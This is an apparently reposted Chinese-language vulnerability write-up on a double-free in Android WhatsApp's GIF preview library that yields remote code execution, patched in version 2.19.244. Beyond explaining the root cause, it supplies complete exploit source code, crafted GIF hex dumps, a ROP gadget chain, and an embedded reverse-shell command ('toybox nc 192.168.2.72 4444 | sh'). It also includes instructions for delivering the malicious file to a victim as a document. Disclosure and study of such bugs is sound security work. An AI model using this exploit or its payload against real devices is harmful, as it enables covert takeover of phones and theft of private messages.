漏洞分析：WhatsApp双重释放漏洞导致RCE-安全客

0x00 概述

在本文，作者分享了在Android版WhatsApp应用中发现的Double-Free（双重释放）漏洞，以及造成远程代码执行的方法。作者已及时向Facebook报告该漏洞。 FB随即推出2.19.244版本，正式修补了该漏洞，请WhatsApp用户立即更新到最新版本。

0x01 Dome

攻击演示视频： https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK/

复现步骤：

攻击者可选多种渠道，向受害者发送一张GIF动图
- 其中之一是将其作为附件发送给受害者（eg. 点击“回形针”图案的按钮，选择GIF图片文件，发送即可）
- 如果你在受害者的联系人列表，受害者机器则会自动下载GIF，该过程无需额外的用户交互。
受害者某个时刻想要给朋友分享媒体文件，点击“回形针”图案的按钮，然后打开WhatsApp Gallery，选择文件并发送。
- 有一点需要注意，漏洞的根源在WhatsApp Gallery。受害者无需做其他操作，打开WhatsApp Gallery时漏洞就已触发。
WhatsApp会对媒体文件做预览处理，因此这将直接触发Double-free漏洞，从而获取RCE。

0x02 漏洞根源

WhatsApp用户打开Gallery，发送媒体文件时，应用将使用名为libpl_droidsonroids_gif.so的本机库进行解析，以生成GIF的预览。 libpl_droidsonroids_gif.so是一个开源库，代码位于：https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c

GIF文件由众多经编码的帧组成。为了储存解码后的帧，WhatsApp Gallery将使用rasterBits的缓冲区。如果所有帧的大小相同，rasterBits缓冲区则会被重复利用，而无需再重新分配。但是如果满足以下三个条件中的一个，则仍会重新分配：

width height > originalWidth originalHeight
width – originalWidth > 0
height – originalHeight > 0

关于重新分配，应用使用的是free和malloc函数。如果重新分配的帧尺寸为0，则会简单地释放。假设有一个三帧的GIF文件，尺寸分别为100、0和0。

第一次重新分配后，我们有大小为100的info-> rasterBits缓冲区。
第二次重新分配0时，则会释放info-> rasterBits缓冲区。
在第三次重新分配0时，再次释放info-> rasterBits缓冲区。

结果显而易见，这将导致双重释放。触发点位于decoding.c：

int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth;
int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight;
const uint_fast32_t newRasterSize =
        gifFilePtr->Image.Width * gifFilePtr->Image.Height;
if (newRasterSize > info->rasterSize || widthOverflow > 0 ||
    heightOverflow > 0) {
    void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize,     <<-- double-free here
                                       sizeof(GifPixelType));
    if (tmpRasterBits == NULL) {
        gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM;
        break;
    }
    info->rasterBits = tmpRasterBits;
    info->rasterSize = newRasterSize;
}

在安卓系统中，如果对大小为N的内存进行双重释放，则会导致两个大小为N的内存被分配相同地址。

(lldb) expr int $foo = (int) malloc(112)
(lldb) p/x $foo
(int) $14 = 0xd379b250

(lldb) p (int)free($foo)
(int) $15 = 0

(lldb) p (int)free($foo)
(int) $16 = 0

(lldb) p/x (int)malloc(12)
(int) $17 = 0xd200c350

(lldb) p/x (int)malloc(96)
(int) $18 = 0xe272afc0

(lldb) p/x (int)malloc(180)
(int) $19 = 0xd37c30c0

(lldb) p/x (int)malloc(112)
(int) $20 = 0xd379b250

(lldb) p/x (int)malloc(112)
(int) $21 = 0xd379b250

从上面这段代码可以看到，$ foo被释放了两次。这导致 $ 20和$ 21返回了相同的地址。

Ok，再来看看gif.h文件中的GifInfo结构体：

struct GifInfo {
    void (*destructor)(GifInfo *, JNIEnv *);  <<-- there's a function pointer here
    GifFileType *gifFilePtr;
    GifWord originalWidth, originalHeight;
    uint_fast16_t sampleSize;
    long long lastFrameRemainder;
    long long nextStartTime;
    uint_fast32_t currentIndex;
    GraphicsControlBlock *controlBlock;
    argb *backupPtr;
    long long startPos;
    unsigned char *rasterBits;
    uint_fast32_t rasterSize;
    char *comment;
    uint_fast16_t loopCount;
    uint_fast16_t currentLoop;
    RewindFunc rewindFunction;   <<-- there's another function pointer here
    jfloat speedFactor;
    uint32_t stride;
    jlong sourceLength;
    bool isOpaque;
    void *frameBufferDescriptor;
};

现在，尝试构造下面尺寸的GIF文件(三帧)：

sizeof(GifInfo)
0
0

当打开WhatsApp Gallery时，将触发rasterBits缓冲区上大小为sizeof(GifInfo)的双重释放漏洞。有趣的是，在WhatsApp Gallery中GIF文件会被解析两次。当GIF文件再次被解析时，将创建一个GifInfo对象。结合Android系统中双重释放漏洞特性，GifInfo info对象和info-> rasterBits会指向同一个地址。然后DDGifSlurp()函数将解码第一帧给info-> rasterBits缓冲区，这会覆盖掉info和它的rewindFunction()函数，该函数位于DDGifSlurp()的末尾处。

0x03 控制PC寄存器

作者构造了以下GIF文件：

47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC 
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 
18 00 0A 00 0F 00 01 00 00 3B

包含以下四帧：

Frame 1

2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
F0 CE 57 2B 6F EE FF FF

Frame 2
```
2C 00 00 00 00 1C 0F 00 00 00 00
```

Frame 3

2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00

Frame 4

2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00

WhatsApp Gallery图床图片处理流程：

第一次解析
- Init：
  - GifInfo *info = malloc(168);
- Frame 1:
  - info->rasterBits = reallocarray(info->rasterBits, 0x8*0x15, 1);
- Frame 2:
  - info->rasterBits = reallocarray(info->rasterBits, 0x0*0xf1c, 1);
- Frame 3:
  - info->rasterBits = reallocarray(info->rasterBits, 0x0*0xf1c, 1);
- Frame 4:
  - 这一帧无关紧要，添加GIF文件特征即可
第二次解析:
- Init:
  - GifInfo *info = malloc(168);
- Frame 1:
  - info->rasterBits = reallocarray(info->rasterBits, 0x8*0x15, 1);
- Frame 2, 3, 4:
  - 略
- End:
  - info->rewindFunction(info);

由于第一次解析中的双重释放，info和info-> rasterBits现指向相同位置。在第二次解析中，按照预期处理第一帧。在末尾处调用到info->rewindFunction(info)，此时可以控制rewindFunction和PC。需要注意，上面的这些帧经LZW编码，并且必须使用LZW编码处理GIF图片帧。
上面这张GIF将导致应用崩溃，如下所示：

--------- beginning of crash
10-02 11:09:38.460 17928 18059 F libc    : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp)
10-02 11:09:38.467  1027  1027 D QCOM PowerHAL: LAUNCH HINT: OFF
10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone
10-02 11:09:38.495  1127  1127 I /system/bin/tombstoned: received crash request for pid 17928
10-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059)
10-02 11:09:38.497 18071 18071 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
10-02 11:09:38.497 18071 18071 F DEBUG   : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys'
10-02 11:09:38.497 18071 18071 F DEBUG   : Revision: 'rev_10'
10-02 11:09:38.497 18071 18071 F DEBUG   : ABI: 'arm64'
10-02 11:09:38.497 18071 18071 F DEBUG   : pid: 17928, tid: 18059, name: image-loader  >>> com.whatsapp <<<
10-02 11:09:38.497 18071 18071 F DEBUG   : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr --------
10-02 11:09:38.497 18071 18071 F DEBUG   :     x0   0000000000000000  x1   000000000000468b  x2   0000000000000006  x3   0000000000000008
10-02 11:09:38.497 18071 18071 F DEBUG   :     x4   0000000000000000  x5   0000000000000000  x6   0000000000000000  x7   7f7f7f7f7f7f7f7f
10-02 11:09:38.497 18071 18071 F DEBUG   :     x8   0000000000000083  x9   0000000010000000  x10  0000007da3c81cc0  x11  0000000000000001
10-02 11:09:38.497 18071 18071 F DEBUG   :     x12  0000007da3c81be8  x13  ffffffffffffffff  x14  ff00000000000000  x15  ffffffffffffffff
10-02 11:09:38.497 18071 18071 F DEBUG   :     x16  00000055b111efa8  x17  0000007e2bb3452c  x18  0000007d8ba9bad8  x19  0000000000004608
10-02 11:09:38.497 18071 18071 F DEBUG   :     x20  000000000000468b  x21  0000000000000083  x22  0000007da3c81e48  x23  00000055b111f3f0
10-02 11:09:38.497 18071 18071 F DEBUG   :     x24  0000000000000040  x25  0000007d8bbff588  x26  00000055b1120670  x27  000000000000000b
10-02 11:09:38.497 18071 18071 F DEBUG   :     x28  00000055b111f010  x29  0000007da3c81d00  x30  0000007e2bae9760
10-02 11:09:38.497 18071 18071 F DEBUG   :     sp   0000007da3c81cc0  pc   0000007e2bae9788  pstate 0000000060000000
10-02 11:09:38.499 18071 18071 F DEBUG   :
10-02 11:09:38.499 18071 18071 F DEBUG   : backtrace:
10-02 11:09:38.499 18071 18071 F DEBUG   :     #00 pc 000000000001d788  /system/lib64/libc.so (abort+120)
10-02 11:09:38.499 18071 18071 F DEBUG   :     #01 pc 0000000000002fac  /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012)
10-02 11:09:38.499 18071 18071 F DEBUG   :     #02 pc 00000000000004ec  [vdso:0000007e2e4b0000]
10-02 11:09:38.499 18071 18071 F DEBUG   :     #03 pc deadbeeefffffffc  <unknown>

0x04 处理ASLR与W^X

控制PC之后，接下来作者开始尝试RCE。注意，在安卓系统中无法在不可执行的区域（即堆栈和堆）上执行命令。我们的目的是执行以下命令：

system("toybox nc 192.168.2.72 4444 | sh");

为此，需要利用到libc.so中的system()函数，并且将PC指向该函数，X0则指向“ toybox nc 192.168.2.72 4444 | sh”。但这不能一步完成。首先需要让PC跳到一个中间gadget，同时gadget设置X0指向“ toybox nc 192.168.2.72 4444 | sh”，然后进入system()函数。查看info->rewindFunction(info)的反汇编代码，可以看到X0和X19都指向info-> rasterBits（或者说info，它们都指向相同的位置），而X8实际指向info-> rewindFunction 。

libhwui.so中有一个gadget可利用，并满足要求：

ldr x8, [x19, #0x18]
add x0, x19, #0x20
blr x8

假设上面这个gatget地址为AAAAAAAA，而system()函数的地址为BBBBBBBB。那么在LZW编码之前，构造rasterBits缓冲区（帧1）的内容如下：

00000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000010: 0000 0000 0000 0000 4242 4242 4242 4242  ........BBBBBBBB
00000020: 746f 7962 6f78 206e 6320 3139 322e 3136  toybox nc 192.16
00000030: 382e 322e 3732 2034 3434 3420 7c20 7368  8.2.72 4444 | sh
00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 4141 4141 4141 4141 eeff                 AAAAAAAA..

如果要找出AAAAAAAA和BBBBBBBB，则需一个信息泄露的漏洞，这样可以获取libc.so和libhwui.so的地址。但在本文不会分享信息泄漏漏洞。

0x05 漏洞利用

编译我在repo给出的利用代码即可。

但是请注意，利用漏洞必须用到信息泄露（本文不做介绍）漏洞泄漏出的的实际地址替换system()和gadget的地址。

    /*
    Gadget g1:
        ldr x8, [x19, #0x18]
        add x0, x19, #0x20
        blr x8
    */
    size_t g1_loc = 0x7cb81f0954;  <<-- replace this
    memcpy(buffer + 128, &g1_loc, 8);

    size_t system_loc = 0x7cb602ce84; <<-- replace this
    memcpy(buffer + 24, &system_loc, 8);

运行代码，生成用于攻击的GIF文件：

notroot@osboxes:~/Desktop/gif$ gcc -o exploit egif_lib.c exploit.c
.....
.....
.....
notroot@osboxes:~/Desktop/gif$ ./exploit
buffer = 0x7ffc586cd8b0 size = 266
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0
C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40
C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A
34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00
18 00 0A 00 0F 00 01 00 00 3B

复制上面这些代码到GIF文件中，然后将其作为文档发送给WhatsApp用户即可。这里有一点很关键，不能将其作为媒体文件发送，否则WhatsApp会自动将其转换为MP4格式。受害者收到GIF文件后，除非打开WhatsApp Gallery，不会出现任何异常情况。

0x06 受影响版本

WhatsApp 2.19.230之前的任意版本都会受到影响。 WhatsApp 2.19.244中已经正式修复该漏洞。

本文的exp适用于Android 8.1和9.0，Android 8.0及以下版本无法利用。在较旧的Android版本中，其实也可以触发双重释放漏洞。但由于两次释放后系统调用malloc函数，在达到可控的PC寄存器的位置之前程序就崩溃了。

同时，Facebook也将此问题通知了android-gif-drawable的维护人员。 8月10日，Facebook的修补代码也合并到原始储存库中了。在android-gif-drawable的1.2.18版中已经修复了双重释放漏洞。

0x07 利用方式

简单总结，该漏洞主要有两个利用方式：

Local privilege escaltion（从evilapp user权限提升到WhatsApp user）：假设攻击者诱使用户安装了恶意应用程序。该程序会收集zygote库收集进程地址，生成恶意的GIF文件，通过该文件在WhatsApp上下文执行恶意代码。通过这点，恶意程序可以随意窃取WhatsApp沙箱中的文件，例如消息数据库。
Remote code execution：与某个具有远程信息泄露漏洞的App（例如.某些浏览器）结合利用，攻击者可以窃取设备进程地址，然后制作恶意GIF文件，通过WhatsApp发送给受害者（必须以附件的形式而不是作为图像）。只要受害者在WhatsApp中打开Gallery界面（百分比可以做到这点，谁没有与朋友分享过图片？），那么Gallery处的漏洞将被触发，攻击者getshell。

0x08 附件

exploit.c

#include "gif_lib.h"

#define ONE_BYTE_HEX_STRING_SIZE   3
static inline void
get_hex(char *buf, int buf_len, char* hex_, int hex_len, int num_col) {
    int i;
    unsigned int byte_no = 0;
    if (buf_len <= 0) {
        if (hex_len > 0) {
            hex_[0] = '';
        }
        return;
    }
    if(hex_len < ONE_BYTE_HEX_STRING_SIZE + 1)
        return;
    do {
        for (i = 0; ((i < num_col) && (buf_len > 0) && (hex_len > 0)); ++i ) {
            snprintf(hex_, hex_len, "%02X ", buf[byte_no++] & 0xff);
            hex_ += ONE_BYTE_HEX_STRING_SIZE;
            hex_len -=ONE_BYTE_HEX_STRING_SIZE;
            buf_len--;
        }
        if (buf_len > 1) {
            snprintf(hex_, hex_len, "n");
            hex_ += 1;
        }
    } while ((buf_len) > 0 && (hex_len > 0));
}

int genLine_0(unsigned char *buffer) {
/*
    00000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    00000010: 0000 0000 0000 0000 4242 4242 4242 4242  ........BBBBBBBB
    00000020: 746f 7962 6f78 206e 6320 3139 322e 3136  toybox nc 192.16
    00000030: 382e 322e 3732 2034 3434 3420 7c20 7368  8.2.72 4444 | sh
    00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    00000080: 4141 4141 4141 4141 eeff                 AAAAAAAA..

    Over-write AAAAAAAA with address of gadget 1
    Over-write BBBBBBBB with address of system() function

    Gadget 1
    ldr x8, [x19, #0x18]
    add x0, x19, #0x20
    blr x8
*/
    unsigned char hexData[138] = {
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0xEF, 0xBE, 0xAD, 0xDE, 0xEE, 0xFF
    };
    memcpy(buffer, hexData, sizeof(hexData));

    /*
    Gadget g1:
        ldr x8, [x19, #0x18]
        add x0, x19, #0x20
        blr x8
    */
    size_t g1_loc = 0x7cb81f0954;
    memcpy(buffer + 128, &g1_loc, 8);

    size_t system_loc = 0x7cb602ce84;
    memcpy(buffer + 24, &system_loc, 8);

    char *command = "toybox nc 192.168.2.72 4444 | sh";
    memcpy(buffer + 32, command, strlen(command));

    return sizeof(hexData);
};

int main(int argc, char *argv[]) {
    GifFilePrivateType Private = {
            .Buf[0] = 0,
            .BitsPerPixel = 8,
            .ClearCode = 256,
            .EOFCode = 257,
            .RunningCode = 258,
            .RunningBits = 9,
            .MaxCode1 = 512,
            .CrntCode = FIRST_CODE,
            .CrntShiftState = 0,
            .CrntShiftDWord = 0,
            .PixelCount = 112,
            .OutBuf = { 0 },
            .OutBufLen = 0
    };
    int size = 0;
    unsigned char buffer[1000] = { 0 };

    unsigned char line[500] = { 0 };
    int line_size = genLine_0(line);
    EGifCompressLine(&Private, line, line_size);

    unsigned char starting[48] = {
            0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x18, 0x00, 0x0A, 0x00, 0xF2, 0x00, 0x00, 0x66, 0xCC, 0xCC,
            0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x33, 0x99, 0x66, 0x99, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x15, 0x00, 0x00, 0x08
    };
    unsigned char padding[2] = { 0xFF, 0xFF };
    unsigned char ending[61] = {
            0x2C, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00,
            0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00,
            0x00, 0x00, 0x00, 0x18, 0x00, 0x0A, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x00, 0x3B
    };

    // starting bytes
    memcpy(buffer + size, starting, sizeof(starting));
    size += sizeof(starting);

    // size of encoded line + padding
    int tmp = Private.OutBufLen + sizeof(padding);
    buffer[size++] = tmp;

    // encoded-line bytes
    memcpy(buffer + size, Private.OutBuf, Private.OutBufLen);
    size += Private.OutBufLen;

    // padding bytes of 0xFFs to trigger info->rewind(info);
    memcpy(buffer + size, padding, sizeof(padding));
    size += sizeof(padding);

    // ending bytes
    memcpy(buffer + size, ending, sizeof(ending));
    size += sizeof(ending);

    char hex_dump[5000];
    get_hex(buffer, size, hex_dump, 5000, 16);
    printf("buffer = %p size = %dn%sn", buffer, size, hex_dump);
}

egif_lib.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#include "gif_lib.h"

static int EGifBufferedOutput(GifFilePrivateType *Private, int c) {
    Private->Buf[0] = 0;
    Private->Buf[++(Private->Buf[0])] = c;
    Private->OutBuf[Private->OutBufLen++] = c;
    return GIF_OK;
}

static int EGifCompressOutput(GifFilePrivateType *Private, const int Code)
{
    int retval = GIF_OK;

    if (Code == FLUSH_OUTPUT) {
        while (Private->CrntShiftState > 0) {
            /* Get Rid of what is left in DWord, and flush it. */
            if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR)
                retval = GIF_ERROR;
            Private->CrntShiftDWord >>= 8;
            Private->CrntShiftState -= 8;
        }
        Private->CrntShiftState = 0;    /* For next time. */
        if (EGifBufferedOutput(Private, FLUSH_OUTPUT) == GIF_ERROR)
            retval = GIF_ERROR;
    } else {
        Private->CrntShiftDWord |= ((long)Code) << Private->CrntShiftState;
        Private->CrntShiftState += Private->RunningBits;
        while (Private->CrntShiftState >= 8) {
            /* Dump out full bytes: */
            if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR)
                retval = GIF_ERROR;
            Private->CrntShiftDWord >>= 8;
            Private->CrntShiftState -= 8;
        }
    }

    /* If code cannt fit into RunningBits bits, must raise its size. Note */
    /* however that codes above 4095 are used for special signaling.      */
    if (Private->RunningCode >= Private->MaxCode1 && Code <= 4095) {
        Private->MaxCode1 = 1 << ++Private->RunningBits;
    }

    return retval;
}

int EGifCompressLine(GifFilePrivateType *Private, unsigned char *Line, const int LineLen)
{
    int i = 0, CrntCode, NewCode;
    unsigned long NewKey;
    GifPixelType Pixel;

    if (Private->CrntCode == FIRST_CODE)    /* Its first time! */
        CrntCode = Line[i++];
    else
        CrntCode = Private->CrntCode;    /* Get last code in compression. */

    while (i < LineLen) {   /* Decode LineLen items. */
        Pixel = Line[i++];  /* Get next pixel from stream. */

        if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) {
            return GIF_ERROR;
        }
        CrntCode = Pixel;

        /* If however the HashTable if full, we send a clear first and
         * Clear the hash table.
         */
        if (Private->RunningCode >= LZ_MAX_CODE) {
            /* Time to do some clearance: */
            if (EGifCompressOutput(Private, Private->ClearCode)
                == GIF_ERROR) {
                return GIF_ERROR;
            }
            Private->RunningCode = Private->EOFCode + 1;
            Private->RunningBits = Private->BitsPerPixel + 1;
            Private->MaxCode1 = 1 << Private->RunningBits;
        }

    }

    /* Preserve the current state of the compression algorithm: */
    Private->CrntCode = CrntCode;

    if (Private->PixelCount == 0) {
        /* We are done - output last Code and flush output buffers: */
        if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) {
            return GIF_ERROR;
        }
        if (EGifCompressOutput(Private, Private->EOFCode) == GIF_ERROR) {
            return GIF_ERROR;
        }
        if (EGifCompressOutput(Private, FLUSH_OUTPUT) == GIF_ERROR) {
            return GIF_ERROR;
        }
    }

    return GIF_OK;
}

gif.h

/******************************************************************************

gif_lib.h - service library for decoding and encoding GIF images

*****************************************************************************/

#ifndef _GIF_LIB_H_
#define _GIF_LIB_H_ 1

#define GIF_ERROR   0
#define GIF_OK      1

#include <stddef.h>
#include <stdbool.h>

typedef signed char __int8_t;
typedef unsigned char __uint8_t;
typedef short __int16_t;
typedef unsigned short __uint16_t;
typedef int __int32_t;
typedef unsigned int __uint32_t;
#if defined(__LP64__)
typedef long __int64_t;
typedef unsigned long __uint64_t;
#else
typedef long long __int64_t;
typedef unsigned long long __uint64_t;
#endif
#if defined(__LP64__)
typedef long __intptr_t;
typedef unsigned long __uintptr_t;
#else
typedef int __intptr_t;
typedef unsigned int __uintptr_t;
#endif
typedef __int8_t      int8_t;
typedef __uint8_t     uint8_t;
typedef __int16_t     int16_t;
typedef __uint16_t    uint16_t;
typedef __int32_t     int32_t;
typedef __uint32_t    uint32_t;
typedef __int64_t     int64_t;
typedef __uint64_t    uint64_t;
typedef __intptr_t    intptr_t;
typedef __uintptr_t   uintptr_t;
typedef int8_t        int_least8_t;
typedef uint8_t       uint_least8_t;
typedef int16_t       int_least16_t;
typedef uint16_t      uint_least16_t;
typedef int32_t       int_least32_t;
typedef uint32_t      uint_least32_t;
typedef int64_t       int_least64_t;
typedef uint64_t      uint_least64_t;
typedef int8_t        int_fast8_t;
typedef uint8_t       uint_fast8_t;
typedef int64_t       int_fast64_t;
typedef uint64_t      uint_fast64_t;
#if defined(__LP64__)
typedef int64_t       int_fast16_t;
typedef uint64_t      uint_fast16_t;
typedef int64_t       int_fast32_t;
typedef uint64_t      uint_fast32_t;
#else
typedef int32_t       int_fast16_t;
typedef uint32_t      uint_fast16_t;
typedef int32_t       int_fast32_t;
typedef uint32_t      uint_fast32_t;
#endif

#define GIF_STAMP "GIFVER"          /* First chars in file - GIF stamp.  */
#define GIF_STAMP_LEN sizeof(GIF_STAMP) - 1
#define GIF_VERSION_POS 3           /* Version first character in stamp. */

typedef unsigned char GifPixelType;
typedef unsigned char GifByteType;
typedef unsigned int GifPrefixType;
typedef uint_fast16_t GifWord;

typedef struct GifColorType {
    uint8_t Red, Green, Blue;
} GifColorType;

typedef struct ColorMapObject {
    uint_fast16_t ColorCount;
    uint_fast8_t BitsPerPixel;
//    bool SortFlag;
    GifColorType *Colors;    /* on malloc(3) heap */
} ColorMapObject;

typedef struct GifImageDesc {
    GifWord Left, Top, Width, Height;   /* Current image dimensions. */
    bool Interlace;
    /* Sequential/Interlaced lines. */
    ColorMapObject *ColorMap;           /* The local color map */
} GifImageDesc;

//typedef struct ExtensionBlock {
//    int ByteCount;
//    GifByteType *Bytes; /* on malloc(3) heap */
//    int Function;       /* The block function code */
#define CONTINUE_EXT_FUNC_CODE    0x00    /* continuation subblock */
#define COMMENT_EXT_FUNC_CODE     0xfe    /* comment */
#define GRAPHICS_EXT_FUNC_CODE    0xf9    /* graphics control (GIF89) */
#define PLAINTEXT_EXT_FUNC_CODE   0x01    /* plaintext */
#define APPLICATION_EXT_FUNC_CODE 0xff    /* application block */
//} ExtensionBlock;

typedef struct SavedImage {
    GifImageDesc ImageDesc;
//    GifByteType *RasterBits;         /* on malloc(3) heap */
//    int ExtensionBlockCount;         /* Count of extensions before image */
//    ExtensionBlock *ExtensionBlocks; /* Extensions before image */
} SavedImage;

#define EXTENSION_INTRODUCER      0x21
#define DESCRIPTOR_INTRODUCER     0x2c
#define TERMINATOR_INTRODUCER     0x3b

#define LZ_MAX_CODE         4095    /* Biggest code possible in 12 bits. */
#define LZ_BITS             12

#define FLUSH_OUTPUT        4096    /* Impossible code, to signal flush. */
#define FIRST_CODE          4097    /* Impossible code, to signal first. */
#define NO_SUCH_CODE        4098    /* Impossible code, to signal empty. */

//#define FILE_STATE_WRITE    0x01
//#define FILE_STATE_SCREEN   0x02
//#define FILE_STATE_IMAGE    0x04
//#define FILE_STATE_READ     0x08

//#define IS_READABLE(Private)    (Private->FileState & FILE_STATE_READ)


struct GifFileType;
/* func type to read gif data from arbitrary sources (TVT) */
typedef uint_fast8_t (*InputFunc)(struct GifFileType *, GifByteType *, uint_fast8_t);

typedef struct GifFilePrivateType {
    GifWord //FileState, /*FileHandle,*/  /* Where all this data goes to! */
            BitsPerPixel,     /* Bits per pixel (Codes uses at least this + 1). */
            ClearCode,   /* The CLEAR LZ code. */
            EOFCode,     /* The EOF LZ code. */
            RunningCode, /* The next code algorithm can generate. */
            RunningBits, /* The number of bits required to represent RunningCode. */
            MaxCode1,    /* 1 bigger than max. possible code, in RunningBits bits. */
            LastCode,    /* The code before the current code. */
            CrntCode,    /* Current algorithm code. */
            StackPtr,    /* For character stack (see below). */
            CrntShiftState;
    /* Number of bits in CrntShiftDWord. */
    unsigned long CrntShiftDWord;
    /* For bytes decomposition into codes. */
    uint_fast32_t PixelCount;
    /* Number of pixels in image. */
//    FILE *File;
    /* File as stream. */
